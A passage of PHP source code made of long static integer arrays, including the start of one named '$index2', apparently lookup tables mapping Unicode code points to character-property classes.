101, 101, 101, 769, 770, 770, 770, 770, 770, 770, 770, 770, 771, 772, 773, 106, 64, 64, 774, 775, 776, 27, 777, 27, 27, 27, 27, 27, 27, 27, 778, 779, 27, 780, 781, 106, 27, 782, 106, 106, 106, 106, 106, 106, 106, 106, 106, 783, 784, 785, 786, 786, 787, 788, 789, 790, 791, 791, 791, 791, 791, 791, 792, 106, 793, 794, 794, 794, 794, 794, 795, 796, 797, 798, 799, 800, 801, 801, 802, 803, 804, 805, 806, 806, 807, 808, 809, 809, 810, 811, 812, 813, 364, 364, 364, 814, 815, 816, 816, 816, 816, 816, 817, 818, 819, 820, 821, 822, 106, 106, 106, 106, 823, 823, 823, 823, 823, 824, 825, 106, 826, 827, 828, 829, 345, 345, 830, 831, 832, 832, 832, 832, 832, 832, 833, 834, 835, 106, 106, 836, 837, 838, 839, 106, 840, 840, 840, 106, 368, 368, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 837, 837, 837, 837, 841, 842, 843, 844, 845, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 846, 847, 106, 365, 365, 848, 849, 365, 365, 365, 365, 365, 850, 851, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 852, 851, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 852, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 852, 853, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 855, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 857, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 856, 858, 753, 753, 753, 753, 859, 106, 860, 861, 121, 862, 863, 864, 865, 121, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 866, 867, 868, 106, 869, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 870, 106, 106, 128, 128, 128, 128, 128, 128, 128, 128, 871, 128, 128, 128, 128, 128, 128, 106, 106, 106, 106, 106, 128, 872, 873, 873, 874, 875, 501, 106, 876, 877, 878, 879, 880, 881, 882, 883, 884, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 885, 886, 887, 888, 889, 890, 891, 891, 892, 893, 894, 894, 895, 896, 897, 898, 897, 897, 897, 897, 899, 900, 900, 900, 901, 902, 902, 902, 903, 904, 905, 106, 906, 907, 908, 907, 907, 909, 907, 907, 910, 907, 911, 907, 911, 106, 106, 106, 106, 907, 907, 907, 907, 907, 907, 907, 907, 907, 907, 907, 907, 907, 907, 907, 912, 913, 914, 914, 914, 914, 914, 915, 603, 916, 916, 916, 916, 916, 916, 917, 918, 919, 920, 568, 609, 106, 106, 106, 106, 106, 106, 603, 603, 603, 603, 603, 921, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 922, 922, 922, 923, 924, 924, 924, 924, 924, 924, 925, 106, 106, 106, 106, 106, 926, 926, 926, 927, 928, 106, 929, 929, 930, 931, 106, 106, 106, 106, 106, 106, 932, 932, 932, 933, 934, 934, 934, 934, 935, 934, 936, 106, 106, 106, 106, 106, 937, 937, 937, 937, 937, 938, 938, 938, 938, 938, 939, 939, 939, 939, 939, 939, 940, 940, 940, 941, 942, 943, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 944, 945, 946, 946, 946, 946, 947, 948, 949, 949, 950, 951, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 952, 952, 953, 954, 955, 955, 955, 956, 106, 106, 106, 106, 106, 106, 106, 106, 957, 957, 957, 957, 958, 958, 958, 959, 106, 106, 106, 106, 106, 106, 106, 106, 960, 961, 962, 963, 964, 964, 965, 966, 967, 106, 968, 969, 970, 970, 970, 971, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 972, 972, 972, 972, 972, 972, 973, 974, 975, 975, 976, 977, 978, 978, 979, 980, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 981, 981, 981, 981, 981, 981, 981, 981, 981, 982, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 983, 983, 983, 984, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 985, 986, 986, 986, 986, 986, 986, 987, 988, 989, 990, 991, 992, 993, 106, 106, 994, 995, 995, 995, 995, 995, 996, 997, 998, 106, 999, 999, 999, 1000, 1001, 1002, 1003, 1004, 1004, 1004, 1005, 1006, 1007, 1008, 1009, 106, 106, 106, 106, 106, 106, 106, 1010, 1011, 1011, 1011, 1011, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 1018, 1018, 1018, 1018, 1018, 1019, 1020, 106, 1021, 1022, 106, 106, 106, 106, 106, 106, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1023, 1024, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 1025, 1025, 1025, 1025, 1025, 1025, 1025, 1025, 1025, 1025, 1025, 1025, 1026, 106, 1027, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1028, 1029, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 770, 1030, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 1031, 1031, 1031, 1031, 1031, 1031, 1031, 1031, 1032, 106, 1033, 1034, 1034, 1034, 1034, 1035, 106, 1036, 1037, 1038, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 1039, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 603, 1040, 106, 603, 603, 603, 603, 1041, 1042, 603, 603, 603, 603, 603, 603, 1043, 1044, 1045, 1046, 1047, 1048, 603, 603, 603, 1049, 603, 603, 603, 603, 603, 1040, 106, 106, 106, 106, 919, 919, 919, 919, 919, 919, 919, 919, 1050, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 610, 106, 914, 914, 1051, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 1052, 1052, 1052, 1053, 1054, 1054, 1055, 1052, 1052, 1056, 1057, 1054, 1054, 1052, 1052, 1052, 1053, 1054, 1054, 1058, 1059, 1060, 1056, 1061, 1062, 1054, 1052, 1052, 1052, 1053, 1054, 1054, 1063, 1064, 1065, 1066, 1054, 1054, 1054, 1067, 1068, 1069, 1070, 1054, 1054, 1055, 1052, 1052, 1056, 1054, 1054, 1054, 1052, 1052, 1052, 1053, 1054, 1054, 1055, 1052, 1052, 1056, 1054, 1054, 1054, 1052, 1052, 1052, 1053, 1054, 1054, 1055, 1052, 1052, 1056, 1054, 1054, 1054, 1052, 1052, 1052, 1053, 1054, 1054, 1071, 1052, 1052, 1052, 1072, 1054, 1054, 1073, 1074, 1052, 1052, 1075, 1054, 1054, 1076, 1055, 1052, 1052, 1077, 1054, 1054, 1078, 1079, 1052, 1052, 1080, 1054, 1054, 1054, 1081, 1052, 1052, 1052, 1072, 1054, 1054, 1073, 1082, 1083, 1083, 1083, 1083, 1083, 1083, 1084, 128, 128, 128, 1085, 1086, 1087, 1088, 1089, 1090, 1085, 1091, 1085, 1087, 1087, 1092, 128, 1093, 128, 1094, 1095, 1093, 128, 1094, 106, 106, 106, 106, 106, 106, 1096, 106, 568, 568, 568, 568, 568, 609, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 609, 106, 568, 610, 636, 610, 636, 568, 636, 568, 106, 106, 106, 106, 613, 1097, 615, 615, 615, 1098, 615, 615, 615, 615, 615, 615, 615, 1099, 615, 615, 615, 615, 615, 1100, 106, 106, 106, 106, 106, 106, 106, 106, 1101, 603, 603, 603, 1102, 106, 733, 733, 733, 733, 733, 1103, 733, 1104, 1105, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 568, 568, 568, 568, 1106, 106, 1107, 568, 568, 568, 568, 568, 568, 568, 568, 1108, 568, 568, 609, 106, 568, 568, 568, 568, 1109, 611, 106, 106, 568, 568, 1106, 106, 568, 568, 568, 568, 568, 568, 568, 610, 1110, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 1111, 568, 568, 568, 568, 568, 568, 568, 1112, 609, 106, 568, 568, 568, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 1113, 568, 568, 568, 568, 568, 568, 568, 568, 1114, 568, 106, 106, 106, 106, 106, 106, 568, 568, 568, 568, 568, 568, 568, 568, 1112, 106, 106, 106, 106, 106, 106, 106, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 568, 609, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 1115, 753, 753, 753, 753, 753, 751, 751, 751, 751, 751, 751, 754, 753, 750, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 751, 752, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 856, 856, 856, 857, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 753, 1116, 1117, 106, 106, 106, 1118, 1118, 1118, 1118, 1118, 1118, 1118, 1118, 1118, 1118, 1118, 1118, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 106, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 873, 106, 106, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 854, 1119, ]; private static $index2 = [ 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 2, 4, 3, 1, 1, 1, 1, 1, 1, 3, 3, 3, 2, 5, 6, 6, 7, 8, 7, 6, 6, 9, 10, 6, 11, 12, 13, 12, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 12, 6, 15, 16, 15, 6, 6, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 9, 6, 10, 18, 19, 18, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 9, 16, 10, 16, 1, 1, 1, 1, 1, 1, 3, 1, 1, 21, 22, 8, 8, 23, 8, 24, 22, 25, 26, 27, 28, 16, 29, 30, 18, 31, 32, 33, 33, 25, 34, 22, 22, 25, 33, 27, 35, 36, 36, 36, 22, 37, 37, 37, 37, 37, 37, 38, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 37, 37, 37, 37, 37, 37, 39, 38, 37, 37, 37, 37, 37, 38, 40, 40, 40, 41, 41, 41, 41, 40, 41, 40, 40, 40, 41, 40, 40, 41, 41, 40, 41, 40, 40, 41, 41, 41, 39, 40, 40, 40, 41, 40, 41, 40, 41, 37, 40, 37, 41, 37, 41, 37, 41, 37, 41, 37, 41, 37, 41, 37, 41, 37, 40, 37, 40, 37, 41, 37, 41, 37, 41, 37, 40, 37, 41, 37, 41, 37, 41, 37, 41, 37, 41, 38, 40, 37, 40, 38, 40, 37, 41, 37, 41, 40, 37, 41, 37, 41, 37, 41, 38, 40, 38, 40, 37, 40, 37, 41, 37, 40, 40, 38, 40, 37, 40, 37, 41, 37, 41, 38, 40, 37, 41, 37, 41, 37, 37, 41, 37, 41, 37, 41, 41, 41, 37, 37, 41, 37, 41, 37, 37, 41, 37, 37, 37, 41, 41, 37, 37, 37, 37, 41, 37, 37, 41, 37, 37, 37, 41, 41, 41, 37, 37, 41, 37, 37, 41, 37, 41, 37, 41, 37, 37, 41, 37, 41, 41, 37, 41, 37, 37, 41, 37, 37, 37, 41, 37, 41, 37, 37, 41, 41, 42, 37, 41, 41, 41, 42, 42, 42, 42, 37, 43, 41, 37, 43, 41, 37, 43, 41, 37, 40, 37, 40, 37, 40, 37, 40, 37, 40, 37, 40, 37, 40, 37, 40, 41, 37, 41, 41, 37, 43, 41, 37, 41, 37, 37, 37, 41, 37, 41, 41, 41, 41, 41, 41, 41, 37, 37, 41, 37, 37, 41, 41, 37, 41, 37, 37, 37, 37, 41, 41, 40, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 42, 41, 41, 41, 44, 44, 44, 44, 44, 44, 44, 44, 44, 45, 45, 46, 46, 46, 46, 46, 46, 46, 47, 47, 25, 47, 45, 48, 45, 48, 48, 48, 45, 48, 45, 45, 49, 46, 47, 47, 47, 47, 47, 47, 25, 25, 25, 25, 47, 25, 47, 25, 44, 44, 44, 44, 44, 47, 47, 47, 47, 47, 50, 50, 45, 47, 46, 47, 47, 47, 47, 47, 47, 47, 47, 47, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 52, 53, 53, 53, 53, 52, 54, 53, 53, 53, 53, 53, 55, 55, 53, 53, 53, 53, 55, 55, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 56, 56, 56, 56, 56, 53, 53, 53, 53, 51, 51, 51, 51, 51, 51, 51, 51, 57, 51, 53, 53, 53, 51, 51, 51, 53, 53, 58, 51, 51, 51, 53, 53, 53, 53, 51, 52, 53, 53, 51, 59, 60, 60, 59, 60, 60, 59, 51, 51, 51, 51, 51, 61, 62, 61, 62, 45, 63, 61, 62, 64, 64, 65, 62, 62, 62, 66, 64, 64, 64, 64, 64, 63, 47, 61, 66, 61, 61, 61, 64, 61, 64, 61, 61, 62, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 64, 67, 67, 67, 67, 67, 67, 67, 61, 61, 62, 62, 62, 62, 62, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 62, 68, 68, 68, 68, 68, 68, 68, 62, 62, 62, 62, 62, 61, 62, 62, 61, 61, 61, 62, 62, 62, 61, 62, 61, 62, 61, 62, 61, 62, 61, 62, 69, 70, 69, 70, 69, 70, 69, 70, 69, 70, 69, 70, 69, 70, 62, 62, 62, 62, 61, 62, 71, 61, 62, 61, 61, 62, 62, 61, 61, 61, 72, 73, 72, 72, 72, 72, 72, 72, 72, 72, 72, 72, 72, 72, 72, 72, 73, 73, 73, 73, 73, 73, 73, 73, 74, 74, 74, 74, 74, 74, 74, 74, 75, 74, 75, 75, 75, 75, 75, 75, 75, 75, 75, 75, 75, 75, 75, 75, 72, 75, 72, 75, 72, 75, 72, 75, 72, 75, 76, 77, 77, 78, 78, 77, 79, 79, 72, 75, 72, 75, 72, 75, 72, 72, 75, 72, 75, 72, 75, 72, 75, 72, 75, 72, 75, 72, 75, 75, 64, 64, 64, 64, 64, 64, 64, 64, 64, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 64, 64, 81, 82, 82, 82, 82, 82, 82, 64, 83, 83, 83, 83, 83, 83, 83, 83, 83, 83, 83, 83, 83, 83, 83, 64, 84, 85, 64, 64, 64, 64, 86, 64, 87, 88, 88, 88, 88, 87, 88, 88, 88, 89, 87, 88, 88, 88, 88, 88, 88, 87, 87, 87, 87, 87, 87, 88, 88, 87, 88, 88, 89, 90, 88, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 100, 101, 102, 103, 104, 105, 106, 107, 108, 106, 88, 87, 106, 99, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 64, 64, 64, 64, 64, 109, 109, 109, 106, 106, 64, 64, 64, 110, 110, 110, 110, 110, 64, 111, 111, 112, 113, 113, 114, 115, 116, 117, 117, 118, 118, 118, 118, 118, 118, 118, 118, 119, 120, 121, 122, 64, 64, 116, 122, 123, 123, 123, 123, 123, 123, 123, 123, 124, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 125, 126, 127, 128, 129, 130, 131, 132, 78, 78, 133, 134, 118, 118, 118, 118, 118, 134, 118, 118, 134, 135, 135, 135, 135, 135, 135, 135, 135, 135, 135, 113, 136, 136, 116, 123, 123, 137, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 116, 123, 118, 118, 118, 118, 118, 118, 118, 138, 117, 118, 118, 118, 118, 134, 118, 139, 139, 118, 118, 117, 134, 118, 118, 134, 123, 123, 140, 140, 140, 140, 140, 140, 140, 140, 140, 140, 123, 123, 123, 141, 141, 123, 142, 142, 142, 142, 142, 142, 142, 142, 142, 142, 142, 142, 142, 142, 64, 143, 144, 145, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 146, 147, 146, 146, 147, 146, 146, 147, 147, 147, 146, 147, 147, 146, 147, 146, 146, 146, 147, 146, 147, 146, 147, 146, 147, 146, 146, 64, 64, 144, 144, 144, 148, 148, 148, 148, 148, 148, 148, 148, 148, 148, 148, 148, 148, 148, 149, 149, 149, 149, 149, 149, 149, 149, 149, 149, 149, 148, 64, 64, 64, 64, 64, 64, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 151, 151, 151, 151, 151, 151, 151, 151, 151, 151, 151, 151, 151, 151, 151, 151, 151, 152, 152, 152, 152, 152, 152, 152, 153, 152, 154, 154, 155, 156, 156, 156, 154, 64, 64, 64, 64, 64, 157, 157, 157, 157, 157, 157, 157, 157, 157, 157, 157, 157, 157, 157, 158, 158, 158, 158, 159, 158, 158, 158, 158, 158, 158, 158, 158, 158, 159, 158, 158, 158, 159, 158, 158, 158, 158, 158, 64, 64, 160, 160, 160, 160, 160, 160, 160, 160, 160, 160, 160, 160, 160, 160, 160, 64, 161, 161, 161, 161, 161, 161, 161, 161, 161, 162, 162, 162, 64, 64, 163, 64, 123, 64, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 64, 64, 64, 64, 64, 64, 64, 118, 118, 134, 118, 118, 134, 118, 118, 118, 134, 134, 134, 164, 165, 166, 118, 118, 118, 134, 118, 118, 134, 134, 118, 118, 118, 118, 64, 167, 167, 167, 168, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 167, 168, 170, 169, 168, 168, 168, 167, 167, 167, 167, 167, 167, 167, 167, 168, 168, 168, 168, 171, 168, 168, 169, 78, 133, 172, 172, 167, 167, 167, 169, 169, 167, 167, 84, 84, 173, 173, 173, 173, 173, 173, 173, 173, 173, 173, 174, 175, 169, 169, 169, 169, 169, 169, 64, 169, 169, 169, 169, 169, 169, 169, 64, 176, 177, 177, 64, 178, 178, 178, 178, 178, 178, 178, 178, 64, 64, 178, 178, 64, 64, 178, 178, 178, 178, 178, 178, 178, 178, 178, 178, 178, 178, 178, 178, 64, 178, 178, 178, 178, 178, 178, 178, 64, 178, 64, 64, 64, 178, 178, 178, 178, 64, 64, 179, 178, 177, 177, 177, 176, 176, 176, 176, 64, 64, 177, 177, 64, 64, 177, 177, 180, 178, 64, 64, 64, 64, 64, 64, 64, 64, 177, 64, 64, 64, 64, 178, 178, 64, 178, 178, 178, 176, 176, 64, 64, 181, 181, 181, 181, 181, 181, 181, 181, 181, 181, 178, 178, 182, 182, 183, 183, 183, 183, 183, 183, 184, 182, 64, 64, 64, 64, 64, 185, 185, 186, 64, 187, 187, 187, 187, 187, 187, 64, 64, 64, 64, 187, 187, 64, 64, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 64, 187, 187, 187, 187, 187, 187, 187, 64, 187, 187, 64, 187, 187, 64, 187, 187, 64, 64, 188, 64, 186, 186, 186, 185, 185, 64, 64, 64, 64, 185, 185, 64, 64, 185, 185, 189, 64, 64, 64, 185, 64, 64, 64, 64, 64, 64, 64, 187, 187, 187, 187, 64, 187, 64, 64, 64, 64, 64, 64, 64, 190, 190, 190, 190, 190, 190, 190, 190, 190, 190, 185, 185, 187, 187, 187, 185, 64, 64, 64, 191, 191, 192, 64, 193, 193, 193, 193, 193, 193, 193, 193, 193, 64, 193, 193, 193, 64, 193, 193, 193, 193, 193, 193, 193, 193, 193, 193, 193, 193, 193, 193, 64, 193, 193, 193, 193, 193, 193, 193, 64, 193, 193, 64, 193, 193, 193, 193, 193, 64, 64, 194, 193, 192, 192, 192, 191, 191, 191, 191, 191, 64, 191, 191, 192, 64, 192, 192, 195, 64, 64, 193, 64, 64, 64, 64, 64, 64, 64, 193, 193, 191, 191, 64, 64, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 197, 198, 64, 64, 64, 64, 64, 64, 64, 199, 200, 200, 64, 201, 201, 201, 201, 201, 201, 201, 201, 64, 64, 201, 201, 64, 64, 201, 201, 201, 201, 201, 201, 201, 201, 201, 201, 201, 201, 201, 201, 64, 201, 201, 201, 201, 201, 201, 201, 64, 201, 201, 64, 201, 201, 201, 201, 201, 64, 64, 202, 201, 200, 199, 200, 199, 199, 199, 199, 64, 64, 200, 200, 64, 64, 200, 200, 203, 64, 64, 64, 64, 64, 64, 64, 64, 199, 200, 64, 64, 64, 64, 201, 201, 64, 201, 201, 201, 199, 199, 64, 64, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 205, 201, 206, 206, 206, 206, 206, 206, 64, 64, 207, 208, 64, 208, 208, 208, 208, 208, 208, 64, 64, 64, 208, 208, 208, 64, 208, 208, 208, 208, 64, 64, 64, 208, 208, 64, 208, 64, 208, 208, 64, 64, 64, 208, 208, 64, 64, 64, 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, 64, 64, 64, 64, 209, 209, 207, 209, 209, 64, 64, 64, 209, 209, 209, 64, 209, 209, 209, 210, 64, 64, 208, 64, 64, 64, 64, 64, 64, 209, 64, 64, 64, 64, 64, 64, 211, 211, 211, 211, 211, 211, 211, 211, 211, 211, 212, 212, 212, 213, 213, 213, 213, 213, 213, 214, 213, 64, 64, 64, 64, 64, 64, 215, 215, 215, 64, 216, 216, 216, 216, 216, 216, 216, 216, 64, 216, 216, 216, 64, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 216, 64, 216, 216, 216, 216, 216, 64, 64, 64, 216, 217, 217, 217, 215, 215, 215, 215, 64, 217, 217, 217, 64, 217, 217, 217, 218, 64, 64, 64, 64, 64, 64, 64, 219, 220, 64, 216, 216, 64, 64, 64, 64, 64, 64, 216, 216, 217, 217, 64, 64, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 222, 222, 222, 222, 222, 222, 222, 223, 64, 64, 224, 224, 64, 225, 225, 225, 225, 225, 225, 225, 225, 64, 225, 225, 225, 64, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 225, 64, 225, 225, 225, 225, 225, 64, 64, 226, 225, 224, 227, 224, 224, 224, 224, 224, 64, 227, 224, 224, 64, 224, 224, 228, 229, 64, 64, 64, 64, 64, 64, 64, 224, 224, 64, 64, 64, 64, 64, 64, 64, 225, 64, 225, 225, 228, 228, 64, 64, 230, 230, 230, 230, 230, 230, 230, 230, 230, 230, 64, 225, 225, 64, 64, 64, 64, 64, 64, 64, 231, 231, 64, 232, 232, 232, 232, 232, 232, 232, 232, 64, 232, 232, 232, 64, 232, 232, 232, 232, 232, 232, 232, 232, 232, 232, 232, 232, 232, 232, 232, 232, 232, 64, 64, 232, 231, 231, 231, 233, 233, 233, 233, 64, 231, 231, 231, 64, 231, 231, 231, 234, 232, 64, 64, 64, 64, 64, 64, 64, 64, 231, 232, 232, 233, 233, 64, 64, 235, 235, 235, 235, 235, 235, 235, 235, 235, 235, 236, 236, 236, 236, 236, 236, 64, 64, 64, 237, 232, 232, 232, 232, 232, 232, 64, 64, 238, 238, 64, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 239, 64, 64, 64, 239, 239, 239, 239, 239, 239, 239, 239, 64, 239, 239, 239, 239, 239, 239, 239, 239, 239, 64, 239, 64, 64, 64, 64, 240, 64, 64, 64, 64, 238, 238, 238, 241, 241, 241, 64, 241, 64, 238, 238, 238, 238, 238, 238, 238, 238, 64, 64, 238, 238, 242, 64, 64, 64, 64, 243, 243, 243, 243, 243, 243, 243, 243, 243, 243, 243, 243, 243, 243, 243, 243, 244, 243, 243, 244, 244, 244, 244, 245, 245, 246, 64, 64, 64, 64, 247, 243, 243, 243, 243, 243, 243, 248, 244, 249, 249, 249, 249, 244, 244, 244, 250, 251, 251, 251, 251, 251, 251, 251, 251, 251, 251, 250, 250, 64, 64, 64, 64, 64, 252, 252, 64, 252, 64, 64, 252, 252, 64, 252, 64, 64, 252, 64, 64, 64, 64, 64, 64, 252, 252, 252, 252, 64, 252, 252, 252, 252, 252, 252, 252, 64, 252, 252, 252, 64, 252, 64, 252, 64, 64, 252, 252, 64, 252, 252, 252, 252, 253, 252, 252, 253, 253, 253, 253, 254, 254, 64, 253, 253, 252, 64, 64, 252, 252, 252, 252, 252, 64, 255, 64, 256, 256, 256, 256, 253, 253, 64, 64, 257, 257, 257, 257, 257, 257, 257, 257, 257, 257, 64, 64, 252, 252, 252, 252, 258, 259, 259, 259, 260, 260, 260, 260, 